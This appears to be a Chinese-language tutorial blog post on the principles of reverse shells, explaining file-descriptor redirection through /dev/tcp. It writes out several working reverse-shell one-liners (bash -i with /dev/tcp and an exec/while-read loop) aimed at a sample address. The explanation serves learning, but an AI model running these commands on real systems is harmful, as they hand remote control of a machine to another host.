一、什么是反弹shell

反弹shell就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。这里用到的就是前一篇文章讲的文件描述符重定向,将被控端输入输出重定向到控制端。

这里参考的文章:https://xz.aliyun.com/t/2549

二、为什么要反弹shell

通常用于被控端因防火墙受限(这个问题当时困扰了我很久)、权限不足、端口被占用等情形

还有许多问题就是被控端的各种问题导致的,以至于控制端无法正常攻击,所以这里就让被控端主动向控制端连接,这就是反弹shell。

2.1 出现的问题

下面就讲一下,我在使用两台腾讯云的Centos7.9的服务器之间复现反弹shell出现的问题:

在这之前,我也使用过BUU的内网靶机测试过,也是同样的问题(控制端的防火墙导致的)

  • 首先在控制端上监听端口(如:6666)
  • 再在被控端上输入反弹shell的命令:bash -i >& /dev/tcp/(控制端ip地址)/(控制端开放端口) 0>&1

这时正常情况下,控制端已经可以连接被控端的shell了,但是由于控制端的防火墙未关闭,导致被控端出现报错:

-bash: connect: No route to host

所以这里我们需要将控制端的防火墙关闭:systemctl stop firewalld(centos7.9)

这时重复上述操作,就能成功反弹shell

2.2 命令详解

1. bash -i

  • bash是linux一个比较常见的shell,其他的还有比如 sh、zsh等,它们之间有着细小的差别
  • -i 这个参数表示产生交互式的shell

2. /dev/tcp/ip/port

  • 在查看了很多资料发现,/dev/tcp 其实不是一个文件(在linux中是不存在的),但是当我们对 /dev/tcp/ip/port 进行读写时,若是ip端口存在,就会建立一个socket连接。这个socket连接我们可以在/proc/self/fd目录(该目录存放了自身进程的所有打开的fd)下看到。

image-20220209165444665

图中是未建立socket连接之前的状态,0、1、2就是前面的标准输入、输出、错误输出

当建立连接之后:

image-20220209165744567

可以看到0、1、2都重定向到了这个socket连接,也就是控制端

这样子,我们参考的文章中的例子都很好理解了

  • echo 123 > /dev/tcp/ip/port 这就是将输出重定向到目标机器,我们在目标机器监听端口,在目标shell页面上就能接收到123
  • cat < /dev/tcp/ip/port 将输入重定向到目标机器,输出还是自己,在目标机器连接后并输入123,那么自身就能接收到123
  • cat > /dev/tcp/ip/port 和上面本质是一样的,只是这次是将输出重定向到目标机器

3. 0>&1

这就是第一篇讲的,标准输入重定向到标准输出,而此时标准输出重定向到了目标机器,所以标准输出也重定向到目标机器

那么 0>&2 其实也等价于 0>&1

那么完整的语句 bash -i >& /dev/tcp/ip/port 0>&1

就是将被控端的交互式shell的输入、输出、错误输出都重定向到控制端,这样就形成了控制端控制了被控端的shell

三、常见的反弹shell语句理解

下面就分析一下参考文章中的反弹shell语句

3.1

  • bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
  • bash -i >& /dev/tcp/192.168.146.129/2333 0<&1

这两个的区别是最后的重定向语句 0>&1 0<&1

但是这两个其实都是一样的,都是将0指向1,只是打开的方式不同

我一开始也搞错了,还以为一个是输出重定向,一个是输入重定向

所以,在重定向符号两边都是文件描述符的时候,要注意它们之间的区别

最终的指向就是

0 -> 目标机器
1 -> 目标机器
2 -> 目标机器

3.2

  • bash -i >& /dev/tcp/192.168.146.129/2333 <&2
  • bash -i >& /dev/tcp/192.168.146.129/2333 0<&2

这里的区别还是最后, <&2 0<&2

第一个就是输入重定向,将0指向2(0 -> 2),和第二个是等价的

3.3

  • exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

由于中间有分号,就是好几个语句,一个一个分析

  • exec 5<>/dev/tcp/192.168.146.129/2333;

这里使用了 exec 绑定重定向,将5 和目标机器的绑定了

  • cat <&5|while read line;do $line >&5 2>&1;done

这个语句也是第一次见,又是一个知识点:

  • 管道符的作用 bash命令 | 管道命令

管道命令的标准输入是前面bash命令的标准输出,这样的命令才是管道命令

  • while read line;do $line >&5 2>&1;done 所以这是一个完整的管道语句

意思就是将输入的每一行赋值给$line变量,并执行,然后将标准输出和错误输出都重定向到目标机器

那么这完整的语句exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done,就实现了一个交互式shell的功能

四、总结

这就是反弹shell基本原理的一些知识,有了这些基础,之后也能更好理解其他的知识。